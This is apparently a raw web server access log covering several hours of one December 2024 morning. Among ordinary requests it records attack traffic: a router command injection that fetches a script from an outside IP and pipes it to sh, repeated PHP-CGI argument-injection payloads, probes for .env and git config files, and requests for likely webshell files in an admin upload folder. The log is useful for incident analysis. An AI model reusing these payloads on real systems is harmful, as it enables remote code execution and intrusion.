[03/Dec/2024:06:19:50 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60wget+-O-+http%3A%2F%2F154.216.19.215%2Ft%7Csh%3B%60) HTTP/1.1" 300
[03/Dec/2024:06:23:04 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[03/Dec/2024:06:23:08 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[03/Dec/2024:06:33:43 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[03/Dec/2024:06:36:10 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env HTTP/1.1" 300
[03/Dec/2024:06:40:29 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/demo/tabs/style.html.locked HTTP/1.1" -
[03/Dec/2024:06:40:30 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[03/Dec/2024:06:43:37 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[03/Dec/2024:06:52:15 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[03/Dec/2024:06:54:18 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[03/Dec/2024:07:14:24 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[03/Dec/2024:07:33:28 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[03/Dec/2024:07:37:18 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env HTTP/1.1" 300
[03/Dec/2024:07:41:32 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[03/Dec/2024:07:51:43 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[03/Dec/2024:07:54:26 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[03/Dec/2024:08:13:53 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[03/Dec/2024:08:33:29 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[03/Dec/2024:08:36:34 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.git2/config HTTP/1.1" 300
[03/Dec/2024:08:45:25 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/black/images/tree_icons.png HTTP/1.1" 3086
[03/Dec/2024:08:45:54 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /dns-query?dns=884BAAABAAAAAAAABmdvb2dsZQNjb20AAAEAAQ HTTP/1.1" 300
[03/Dec/2024:08:45:57 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /dns-query HTTP/1.1" 300
[03/Dec/2024:08:48:25 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[03/Dec/2024:08:52:09 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[03/Dec/2024:08:54:27 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST / HTTP/1.1" -
[03/Dec/2024:08:54:27 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[03/Dec/2024:08:54:35 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[03/Dec/2024:09:12:21 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/metro/images/panel_tools.png HTTP/1.1" 194
[03/Dec/2024:09:14:30 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[03/Dec/2024:09:15:24 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/plugins/copyformatting/cursors/cursor-disabled.svg HTTP/1.1" 4012
[03/Dec/2024:09:33:58 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[03/Dec/2024:09:38:28 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /dns-query HTTP/1.1" 300
[03/Dec/2024:09:40:59 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /dns-query?dns=jUkBAAABAAAAAAAABmdvb2dsZQNjb20AAAEAAQ HTTP/1.1" 300
[03/Dec/2024:09:42:41 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ HTTP/1.1" 63
[03/Dec/2024:09:42:42 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /favicon.ico HTTP/1.1" 2066
[03/Dec/2024:09:42:42 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/login.php HTTP/1.1" 9089
[03/Dec/2024:09:42:42 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/css/bootstrap.min.css HTTP/1.1" 115813
[03/Dec/2024:09:42:42 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/css/fonts.googleapis.com.css HTTP/1.1" 494
[03/Dec/2024:09:42:42 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/font-awesome/4.5.0/css/font-awesome.min.css HTTP/1.1" 27466
[03/Dec/2024:09:42:42 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/css/ace-rtl.min.css HTTP/1.1" 116806
[03/Dec/2024:09:42:42 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/js/jquery-2.1.4.min.js HTTP/1.1" 84380
[03/Dec/2024:09:42:42 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/css/ace.min.css HTTP/1.1" 396938
[03/Dec/2024:09:42:42 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/js/jquery-2.1.4.min.js HTTP/1.1" 84380
[03/Dec/2024:09:42:43 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/css/images/pattern.jpg HTTP/1.1" 7080
[03/Dec/2024:09:42:43 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/font-awesome/4.5.0/fonts/fontawesome-webfont.woff2?v=4.5.0 HTTP/1.1" 66624
[03/Dec/2024:09:42:43 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/js/respond.min.js HTTP/1.1" 4377
[03/Dec/2024:09:42:43 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/js/html5shiv.min.js HTTP/1.1" 2730
[03/Dec/2024:09:42:43 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/js/jquery.mobile.custom.min.js HTTP/1.1" 7829
[03/Dec/2024:09:42:43 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/js/jquery-1.11.3.min.js HTTP/1.1" 95992
[03/Dec/2024:09:42:43 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /favicon.ico HTTP/1.1" 2066
[03/Dec/2024:09:42:59 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/actionlogin.php HTTP/1.1" 82
[03/Dec/2024:09:42:59 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/users.php HTTP/1.1" 22391
[03/Dec/2024:09:42:59 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/js/jquery.jqGrid.min.js HTTP/1.1" 311063
[03/Dec/2024:09:42:59 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/css/jquery-ui.min.css HTTP/1.1" 14900
[03/Dec/2024:09:42:59 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/js/ace-extra.min.js HTTP/1.1" 6241
[03/Dec/2024:09:42:59 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/css/ui.jqgrid.min.css HTTP/1.1" 12929
[03/Dec/2024:09:42:59 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/js/bootstrap.min.js HTTP/1.1" 36868
[03/Dec/2024:09:42:59 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/css/ace-skins.min.css HTTP/1.1" 77952
[03/Dec/2024:09:42:59 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/js/grid.locale-en.js HTTP/1.1" 3935
[03/Dec/2024:09:42:59 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/js/ace-elements.min.js HTTP/1.1" 41077
[03/Dec/2024:09:42:59 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/js/ace-extra.min.js HTTP/1.1" 6241
[03/Dec/2024:09:42:59 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/js/ace.min.js HTTP/1.1" 55785
[03/Dec/2024:09:42:59 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/js/bootstrap.min.js HTTP/1.1" 36868
[03/Dec/2024:09:42:59 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/js/grid.locale-en.js HTTP/1.1" 3935
[03/Dec/2024:09:42:59 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/js/ace-elements.min.js HTTP/1.1" 41077
[03/Dec/2024:09:42:59 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/js/jquery.jqGrid.min.js HTTP/1.1" 311063
[03/Dec/2024:09:43:00 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/getusergrup.php HTTP/1.1" -
[03/Dec/2024:09:43:00 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/js/ace.min.js HTTP/1.1" 55785
[03/Dec/2024:09:43:00 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/topmenu.php HTTP/1.1" 1509
[03/Dec/2024:09:43:00 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/rmenu.php HTTP/1.1" 10168
[03/Dec/2024:09:43:00 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[03/Dec/2024:09:43:00 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/get_users.php HTTP/1.1" 1414
[03/Dec/2024:09:43:49 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/staffedit.php HTTP/1.1" 8139
[03/Dec/2024:09:43:49 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/include/stylesheet/change.css HTTP/1.1" 3489
[03/Dec/2024:09:43:49 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/include/stylesheet/responsive.css HTTP/1.1" 11762
[03/Dec/2024:09:43:49 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/include/stylesheet/style.css HTTP/1.1" 29795
[03/Dec/2024:09:43:50 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/include/javascript/main.js HTTP/1.1" 5709
[03/Dec/2024:09:43:50 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/include/javascript/wow.min.js HTTP/1.1" 7058
[03/Dec/2024:09:43:50 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/ckeditor.js HTTP/1.1" 531276
[03/Dec/2024:09:43:50 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/include/stylesheet/style/swiper.css HTTP/1.1" 21248
[03/Dec/2024:09:43:50 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/include/stylesheet/style/font-awesome.min.css HTTP/1.1" 31028
[03/Dec/2024:09:43:50 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/include/stylesheet/style/reset.css HTTP/1.1" 12302
[03/Dec/2024:09:43:50 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/include/stylesheet/style/animate.css HTTP/1.1" 5026
[03/Dec/2024:09:43:50 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/include/javascript/main.js HTTP/1.1" 5709
[03/Dec/2024:09:43:50 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/include/javascript/wow.min.js HTTP/1.1" 7058
[03/Dec/2024:09:43:50 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/include/stylesheet/fonts/fontawesome-webfont3e6e.woff2?v=4.7.0 HTTP/1.1" 77160
[03/Dec/2024:09:43:50 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/topmenu.php HTTP/1.1" 1509
[03/Dec/2024:09:43:50 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/rmenu.php HTTP/1.1" 10168
[03/Dec/2024:09:43:50 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/config.js?t=EAPE HTTP/1.1" 1497
[03/Dec/2024:09:43:50 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/config.js?t=EAPE HTTP/1.1" 1497
[03/Dec/2024:09:43:50 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/ckeditor.js HTTP/1.1" 531276
[03/Dec/2024:09:43:51 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/lang/zh-cn.js?t=EAPE HTTP/1.1" 16579
[03/Dec/2024:09:43:51 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/skins/moono/editor_gecko.css?t=EAPE HTTP/1.1" 46438
[03/Dec/2024:09:43:52 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/lang/zh-cn.js?t=EAPE HTTP/1.1" 16579
[03/Dec/2024:09:43:52 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/styles.js?t=EAPE HTTP/1.1" 3605
[03/Dec/2024:09:43:52 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/styles.js?t=EAPE HTTP/1.1" 3605
[03/Dec/2024:09:43:52 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/skins/moono/icons_hidpi.png HTTP/1.1" 67753
[03/Dec/2024:09:43:52 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/contents.css?t=EAPE HTTP/1.1" 307
[03/Dec/2024:09:43:59 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[03/Dec/2024:09:45:06 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/upload/files/tunnel.php HTTP/1.1" -
[03/Dec/2024:09:45:07 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[03/Dec/2024:09:45:17 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/easyui/themes/bootstrap/images/accordion_arrows.png HTTP/1.1" 184
[03/Dec/2024:09:45:17 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/upload/files/tes.php HTTP/1.1" -
[03/Dec/2024:09:45:17 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[03/Dec/2024:09:45:37 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/upload/files/ HTTP/1.1" 5827
[03/Dec/2024:09:45:37 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /icons/blank.gif HTTP/1.1" 148
[03/Dec/2024:09:45:37 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /icons/text.gif HTTP/1.1" 229
[03/Dec/2024:09:45:37 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /icons/binary.gif HTTP/1.1" 246
[03/Dec/2024:09:45:37 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /icons/unknown.gif HTTP/1.1" 245
[03/Dec/2024:09:45:37 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /icons/back.gif HTTP/1.1" 216
[03/Dec/2024:09:45:43 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /icons/layout.gif HTTP/1.1" 276
[03/Dec/2024:09:46:09 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/upload/files/eval.php HTTP/1.1" -
[03/Dec/2024:09:46:13 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /icons/image2.gif HTTP/1.1" 309
[03/Dec/2024:09:46:14 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /icons/folder.gif HTTP/1.1" 225
[03/Dec/2024:09:47:08 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/upload/ HTTP/1.1" 3162
[03/Dec/2024:09:47:22 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/staffedit.php HTTP/1.1" 8139
[03/Dec/2024:09:47:22 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/js/grid.locale-en.js HTTP/1.1" 3935
[03/Dec/2024:09:47:22 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/topmenu.php HTTP/1.1" 1509
[03/Dec/2024:09:47:22 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/rmenu.php HTTP/1.1" 10168
[03/Dec/2024:09:47:28 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/staffedit.php HTTP/1.1" 8139
[03/Dec/2024:09:47:28 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/topmenu.php HTTP/1.1" 1509
[03/Dec/2024:09:47:29 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/rmenu.php HTTP/1.1" 10168
[03/Dec/2024:09:47:36 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/users.php HTTP/1.1" 22391
[03/Dec/2024:09:47:37 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/topmenu.php HTTP/1.1" 1509
[03/Dec/2024:09:47:37 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/getusergrup.php HTTP/1.1" -
[03/Dec/2024:09:47:37 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/rmenu.php HTTP/1.1" 10168
[03/Dec/2024:09:47:37 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[03/Dec/2024:09:47:37 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/get_users.php HTTP/1.1" 1414
[03/Dec/2024:09:47:58 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/staffedit.php HTTP/1.1" 8139
[03/Dec/2024:09:47:59 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/topmenu.php HTTP/1.1" 1509
[03/Dec/2024:09:47:59 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/rmenu.php HTTP/1.1" 10168
[03/Dec/2024:09:48:15 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/skins/moono/dialog.css?t=EAPE HTTP/1.1" 15934
[03/Dec/2024:09:48:15 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/plugins/image/dialogs/image.js?t=EAPE HTTP/1.1" 20688
[03/Dec/2024:09:48:15 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/skins/moono/images/hidpi/lock.png HTTP/1.1" 1299
[03/Dec/2024:09:48:15 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/skins/moono/images/hidpi/close.png HTTP/1.1" 1271
[03/Dec/2024:09:48:15 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/skins/moono/images/hidpi/refresh.png HTTP/1.1" 1842
[03/Dec/2024:09:48:32 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/ckfinder/core/connector/php/connector.php?command=QuickUpload&type=Images&CKEditor=stanote&CKEditorFuncNum=1&langCode=zh-cn HTTP/1.1" 1090
[03/Dec/2024:09:48:51 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckfinder/ckfinder.html?type=Images&CKEditor=stanote&CKEditorFuncNum=1&langCode=zh-cn HTTP/1.1" 3741
[03/Dec/2024:09:48:51 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckfinder/ckfinder.js HTTP/1.1" 314987
[03/Dec/2024:09:48:52 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckfinder/config.js?t=E7F823V HTTP/1.1" 526
[03/Dec/2024:09:48:52 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckfinder/lang/zh-cn.js?t=E7F823V HTTP/1.1" 10186
[03/Dec/2024:09:48:52 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckfinder/config.js?t=E7F823V HTTP/1.1" 526
[03/Dec/2024:09:48:52 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckfinder/skins/kama/images/loaders/16x16.gif?t=E7F823V HTTP/1.1" 673
[03/Dec/2024:09:48:52 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckfinder/ckfinder.js HTTP/1.1" 314987
[03/Dec/2024:09:48:52 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckfinder/skins/kama/images/ckffolderopened.gif?t=E7F823V HTTP/1.1" 136
[03/Dec/2024:09:48:52 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckfinder/skins/kama/images/ckffolder.gif?t=E7F823V HTTP/1.1" 159
[03/Dec/2024:09:48:52 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckfinder/skins/kama/images/loaders/32x32.gif?t=E7F823V HTTP/1.1" 3630
[03/Dec/2024:09:48:52 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckfinder/skins/kama/host.css?t=E7F823V HTTP/1.1" 15791
[03/Dec/2024:09:48:52 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckfinder/skins/kama/app.css?t=E7F823V HTTP/1.1" 44463
[03/Dec/2024:09:48:52 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckfinder/core/connector/php/connector.php?command=Init&type=Images HTTP/1.1" 1492
[03/Dec/2024:09:48:53 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckfinder/skins/kama/images/toolbar/refresh.gif HTTP/1.1" 173
[03/Dec/2024:09:48:53 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckfinder/skins/kama/images/sprites.png HTTP/1.1" 7086
[03/Dec/2024:09:48:53 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckfinder/skins/kama/images/toolbar/maximize.gif HTTP/1.1" 123
[03/Dec/2024:09:48:53 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckfinder/skins/kama/images/toolbar/add.gif HTTP/1.1" 266
